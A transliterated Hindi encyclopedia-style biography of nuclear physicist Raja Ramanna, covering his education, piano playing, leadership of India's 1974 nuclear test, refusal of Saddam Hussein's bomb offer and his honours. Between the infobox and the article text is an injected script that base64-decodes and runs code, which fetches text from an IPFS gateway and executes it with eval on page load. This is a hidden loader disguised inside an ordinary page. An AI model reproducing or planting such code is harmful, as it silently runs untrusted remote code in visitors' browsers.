राजा रमन्ना
raja ramanna
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| poora nam | raja ramanna |
| janm | 28 janavari, 1925 |
| janm bhoomi | tiptur, tumakoor, maisoor |
| mrityu | 24 sitanbar, 2004 |
| mrityu sthan | mumbee, maharashtr |
| abhibhavak | pita- ramanna mata- rukmini |
| karm bhoomi | bharat |
| karm-kshetr | bhautik vijnan |
| vidyalay | b aaumbe vishvavidyalay, kiangs k aaulej (landan vishvavidyalay) |
| puraskar-upadhi | padm shri (1968), padm bhooshan (1973) aur padm vibhooshan (1975) |
| prasiddhi | bhautik vaijnanik |
| nagarikata | bharatiy |
| any janakari | san 1978 mean irak ke tatkalin rashtrapati saddam husain ne raja ramanna ke samane irak ke lie paramanu bam banane ka prastav rakha, par unhoanne is prastav ko thukara diya aur bharat vapas laut ge. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>raja ramanna (aangrezi: Raja Ramanna, janm- 28 janavari, 1925; mrityu- 24 sitanbar, 2004) bharatiy paramanu vaijnanik the jinhoanne bharat ke paramanu karyakram ke vikas mean mahatvapoorn bhoomika nibhaee. ve san 1964 mean bharat ke paramanu karyakram mean shamil hue the aur praranbh mean prasiddh paramanu vaijnanik homi jahaangir bhabha ki dekharekh mean kary kiya aur unake nidhan ke bad san 1967 mean is karyakram ke nideshak ban ge. unhoanne paramanu hathiyaroan ke vikas se sambandhit vaijnanik shodh ka nirikshan kiya aur badhava diya. ve san 1974 mean bharat ke pahale paramanu parikshan (smayiliang buddha) karane vale vaijnanik dal ke mukhiya bhi the.
parichay
raja ramanna ka janm 28 janavari, 1925 ko maisoor rajy ke tumakoor mean tiptur namak sthan par hua tha. unake pita ka nam ramanna aur mata ka nam rukmini tha. balak ramanna ne bachapan mean sangit ke prati gahari roochi dikhaee jisake bad unake mata pita ne unhean paranparik pashchimi sangit se avagat karavaya. unaki praranbhik shiksha beangaluru ke bishap k aautan boyaz skool se praranbh huee jahaan unhoanne mukhyatah sahity aur paranparik sangit ki shiksha grahan diya. unhoanne madras krischiyan k aaulej se bhautiki vishay mean bi.es.si. ki digri arjit ki aur san 1947 mean ‘paranparik sangit’ mean bi.e. ki digri bhi li. isake pashchat unhoanne b aaumbe vishvavidyalay mean dakhila liya jahaan se unhoanne bhautiki mean em.es.si. aur phir ‘sangit’ vishay mean M. Mus. kiya.
shiksha
san 1952 mean raja ramanna ko rashtramandal chhatravritti mili jisake uparant ve d aauktaret karane ke lie ianglaiand chale ge. unhoanne landan vishvavidyalay ke kiangs k aaulej mean d aauktaret ke lie dakhila liya aur san 1954 mean ‘paramanu bhautiki’ mean apana d aauktaret poora kiya. yoonaited kiangadam mean unhoanne apana shodh et aaumik enarji risarch establishmeant mean kiya jahaan unhoanne ‘nuklear phyool saikil’ aur nuklear riektar dijainiang’ mean nipunata hasil ki. sangit mean unaki ganbhir roochi thi aur ianglaiand pravas ke dauran unhoanne yooropiy sangit ka khoob anand liya aur pashchimi darshan ke bare mean bhi padha aur jana.
pashchimi sangit aur sabhyata mean raja ramanna ki roochi aur utsah jivan paryant raha aur bharat lautane ke bad unhoanne apane ap ko pratibhavan piyano vadakoan jaisa parangat kiya. unhoanne bharat aur videshoan mean kee sangit karyakramoan mean paranparagat yooropiy sangit ka pradarshan kiya. san 1956 mean pakistan ke ‘neshanal k aaulej aauf arts’ aur ‘neshanal akaidami aauf paraphormiang arts’ ke amantran par unhoanne vahaan klasikal piyano par ek bhashan diya aur apani kala ka pradarshan bhi kiya.
bharatiy paramanu karyakram
d aau. raja ramanna bharat ke pratham pradhanamantri javaharalal neharoo dvara praranbh kiye ge desh ke ‘paramanu karyakram’ se ju de hue sabase mahatvapoorn vyaktiyoan mean se ek the. san 1954 mean ianglaiand se d aauktaret karane ke bad ve bharat laut aye aur homi jahaangir bhabha ke netritv mean bhabha et aaumik risarch sentar mean varishth takaniki dal mean niyukt ho ge. san 1958 mean unhean is karyakram ka chiph dayarektiang aauphisar niyukt kiya gaya. d aau. homi jahaangir bhabha ke dukhad maut ke bad unhean is karyakram ka mukhiya bana diya gaya aur san 1974 mean unake netratv mean bharat ne pahale paramanu parikshan (smayiliang buddha) kiya jisake bad raja ramanna ko antarashtriy khyati mili aur bharat sarakar ne unhean padm vibhooshan se sammanit kiya.
saddam husain ka prastav thukarana
san 1978 mean irak ke tatkalin rashtrapati saddam husain ne raja ramanna ke samane irak ke lie paramanu bam banane ka prastav rakha, par unhoanne is prastav ko thukara diya aur bharat vapas laut ge.
sakht nitiyoan ki vakalat
apane kॅriyar ke bad ke dinoan mean raja ramanna ne sakht nitiyoan ko banane ki vakalat ki taki paramanu prasar roka ja sake. unhoanne ‘aantarrashtriy bhautiki sammalen’ mean bhag lene ke lie pakistan ki bhi yatra ki aur paramanu bhautiki par bhashan diya. unhoanne bharat-pakistan ke madhy shaanti sthapit karane ke prayasoan mean mahatvapoorn yogadan diya aur is kshetr mean ‘paramanu takarav’ rokane mean agrani bhoomika bhi nibhaee. san 1984 mean unhoanne aantarrashtriy paramanu urja sansthan jvain kar liya aur vahaan ke 30vean mahaadhiveshan ka adhyaksh bhi rahe.
roochi
d aau. raja ramanna mahumukhi pratibha ke dhani vyakti the. paramanu bhautiki ke sath-sath sangit aur darshan mean bhi unaki gahari roochi thi. ve piyano bajane mean bahut parangat the aur desh-videsh mean kee samarohoan mean apani kala ka pradarshan bhi kiya. sangit unake dil ke bahut karib tha aur is vishay par unhoanne ek pustak bhi likhi- ‘d strakchar aauf myoojik in raga eand vestarn sistams (1993). unhoanne ek aur pustak (atmakatha) ‘iyars aauf pilgrimej’ (1991) bhi likhi.
rajy mantri
san 1990 mean vi. pi. sianh ki sarakar mean raja ramanna ko raksha rajy mantri banaya gaya. san 1997 se lekar 2003 tak ve rajy sabha ke sadasy bhi rahe. ve iandiyan ianstityoot aauf teknol aauji b aaumbe ke sath bhi karib se ju de the aur isake bord aauf dayarektars ka lagatar tin satroan ke lie adhyaksh bhi rahe. san 2000 mean unhean neshanal ianstityoot aauf edavaansd stadij baiangalor ka pahala nideshak banaya gaya.
samman
desh ke lie kiye ge unake karyoan ke maddenajar bharat sarakar ne samay-samay par raja ramanna ko sammanit kiya. raja ramanna ne lagabhag char dashak tak bharat ke paramanu karyakram ka sanchalan kiya jisake karan unhean ‘bharat ke paramanu karyakram ka janak’ mana jata hai. rashtr ke lie kiye ge unake karyoan ke lie bharat sarakar ne unhean padm shri (1968), padm bhooshan (1973) aur padm vibhooshan (1975) jaise uchch nagarik sammanoan se navaja. san 1963 mean unhean vijnan aur praudyogiki ke kshetr mean 'shaanti svarup bhatanagar puraskar' diya gaya.
mrityu
24 sitambar, 2004 ko raja ramanna paralok sidhar ge. mrityu ke samay unaki ayu 79 sal thi.
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tika tippani aur sandarbh
sanbandhit lekh
varnamala kramanusar lekh khoj
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